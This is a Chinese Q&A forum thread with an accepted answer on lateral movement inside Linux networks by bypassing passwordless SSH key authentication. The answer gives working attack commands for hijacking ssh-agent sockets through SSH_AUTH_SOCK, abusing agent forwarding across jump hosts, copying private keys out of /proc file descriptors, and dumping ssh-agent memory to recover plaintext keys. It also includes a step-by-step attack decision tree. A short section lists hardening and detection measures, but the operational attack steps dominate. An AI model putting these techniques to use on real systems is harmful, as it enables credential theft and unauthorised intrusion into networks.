影评周公子 2026-04-11 09:55 采纳率: 99.1%
浏览 0
已采纳

Linux内网横向移动时,如何绕过无密码SSH密钥认证限制?

在Linux内网横向移动中,若目标主机仅允许无密码SSH密钥认证(即`~/.ssh/authorized_keys`中存在公钥,且私钥未设密码),但攻击者未直接获取对应私钥文件,常见误区是误以为“无密码=可暴力破解或空口令登录”。实际上,该配置**仍严格依赖私钥持有权**,不接受密码、空密码或密钥密码爆破。此时关键问题在于:**如何在未获取原始私钥的前提下,复用已存在的认证上下文?** 典型绕过路径包括:1)利用内存中残留的已解密私钥(如SSH agent转发、`ssh-add -L`暴露的私钥片段);2)窃取已加载到`ssh-agent`的代理凭据(通过`SSH_AUTH_SOCK`环境变量+本地socket读取);3)滥用`ForwardAgent yes`配置,通过中间跳板机代理连接目标;4)提权后读取`/proc/*/fd/`中SSH进程打开的私钥文件描述符。这些方法均规避了“密码认证”限制,直击密钥认证的信任链薄弱环节。
  • 写回答

1条回答 默认 最新

  • 揭假求真 2026-04-11 10:08
    关注
    ```html

    一、认知纠偏:什么是“无密码SSH密钥认证”?

    常见误区是将 no passphrase 等同于“无需私钥”或“可空口令登录”。事实上,OpenSSH 的密钥认证流程严格遵循 RFC 4252:服务端仅验证客户端能否用对应私钥完成数字签名(如 RSA-SHA2-256 或 ecdsa-sha2-nistp256)。公钥写入 ~/.ssh/authorized_keys 仅表示“允许该公钥持有者接入”,而非“允许任意用户接入”。攻击者若未持有私钥,即便暴力尝试百万次密码也完全无效——因为协议层根本不启用密码认证通道

    二、信任链薄弱点分析:密钥认证 ≠ 私钥文件静态存在

    现代 SSH 生态中,私钥的生命周期远超磁盘文件本身。典型流转路径为:disk → ssh-add → ssh-agent → socket → network forwarding。每个环节都可能残留解密态私钥或代理凭据,构成横向移动的“信任透传面”。例如:

    • ssh-add -L 输出的是公钥+注释,但若 agent 内存被 dump(如通过 /proc/PID/mem),可恢复完整私钥明文;
    • SSH_AUTH_SOCK 指向 Unix domain socket(如 /tmp/ssh-XXXXXX/agent.XXXX),本地任意用户(含低权限进程)只要能访问该 socket 即可发起签名请求;
    • ForwardAgent yes 启用时,跳板机上的 agent 句柄会通过 SSH 连接隧道映射到目标主机,形成跨主机代理链。

    三、实战利用路径详解(由浅入深)

    序号技术路径前提条件检测命令示例利用命令示例
    1SSH Agent Socket 复用已获取普通用户 shell;SSH_AUTH_SOCK 环境变量存在且 socket 可读echo $SSH_AUTH_SOCK && ls -l $SSH_AUTH_SOCKssh -o "IdentityAgent=$SSH_AUTH_SOCK" user@target
    2Agent 转发滥用跳板机配置 ForwardAgent yes;目标主机允许 agent 转发(AllowAgentForwarding yesgrep -i forward /etc/ssh/sshd_configssh -A jump-host "ssh target-host"
    3/proc/PID/fd 私钥提取已提权至 root 或私钥所属用户;SSH 进程正在使用私钥建立连接ps aux | grep ssh | grep -v grep; ls -l /proc/$(pgrep -f "ssh.*@")/fd/ 2>/dev/nullcp /proc/$(pgrep -f "ssh.*@")/fd/3 ./stolen_key.pem && chmod 600 ./stolen_key.pem

    四、深度内存取证:从 ssh-agent 到私钥明文还原

    Linux 下 ssh-agent 默认以守护进程运行,其内存中缓存的是已解密的私钥结构体(如 struct sshkey)。在未启用 pkcs11 或硬件 token 的场景下,私钥明文长期驻留于堆内存。攻击者可通过以下方式提取:

    1. 定位 agent 进程 PID:pgrep -u $USER ssh-agent
    2. 读取进程内存:gcore $PID && strings core.$PID | grep -A5 -B5 "-----BEGIN RSA PRIVATE KEY-----"
    3. 或直接内存扫描:dd if=/proc/$PID/mem bs=1 skip=$((0x7f8a12345000)) count=4096 2>/dev/null | strings | grep -E "(BEGIN|END) (RSA|EC) PRIVATE KEY"(需估算基址)。

    五、防御纵深建议与检测指标

    针对上述攻击链,企业级加固应覆盖全生命周期:

    • 配置层:禁用 ForwardAgent、限制 AllowAgentForwarding no、强制私钥密码保护(即使内网);
    • 运行时层:审计 SSH_AUTH_SOCK 权限(应为 600)、监控 /proc/*/fd/ 对敏感文件描述符的异常访问;
    • 检测层:部署 eBPF 探针跟踪 unix_stream_connect 调用目标为 ssh-agent socket 的行为;ELK 日志中聚合 sshddebug2 级日志,匹配 agent forwarding enabled 字段。

    六、横向移动决策树(Mermaid 流程图)

    graph TD A[获得初始Shell] --> B{是否为root或高权限?} B -->|Yes| C[/尝试 /proc/*/fd/ 提取私钥/] B -->|No| D{是否存在 SSH_AUTH_SOCK?} D -->|Yes| E[/复用 socket 直接认证/] D -->|No| F{当前主机是否为跳板机?} F -->|Yes| G[/检查 ssh_config 中 ForwardAgent yes/] F -->|No| H[退出或提权后重试] C --> I[成功获取私钥明文] E --> J[成功代理认证] G --> K[启用 agent forwarding 横移]
    ```
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

问题事件

  • 已采纳回答 4月12日
  • 创建了问题 4月11日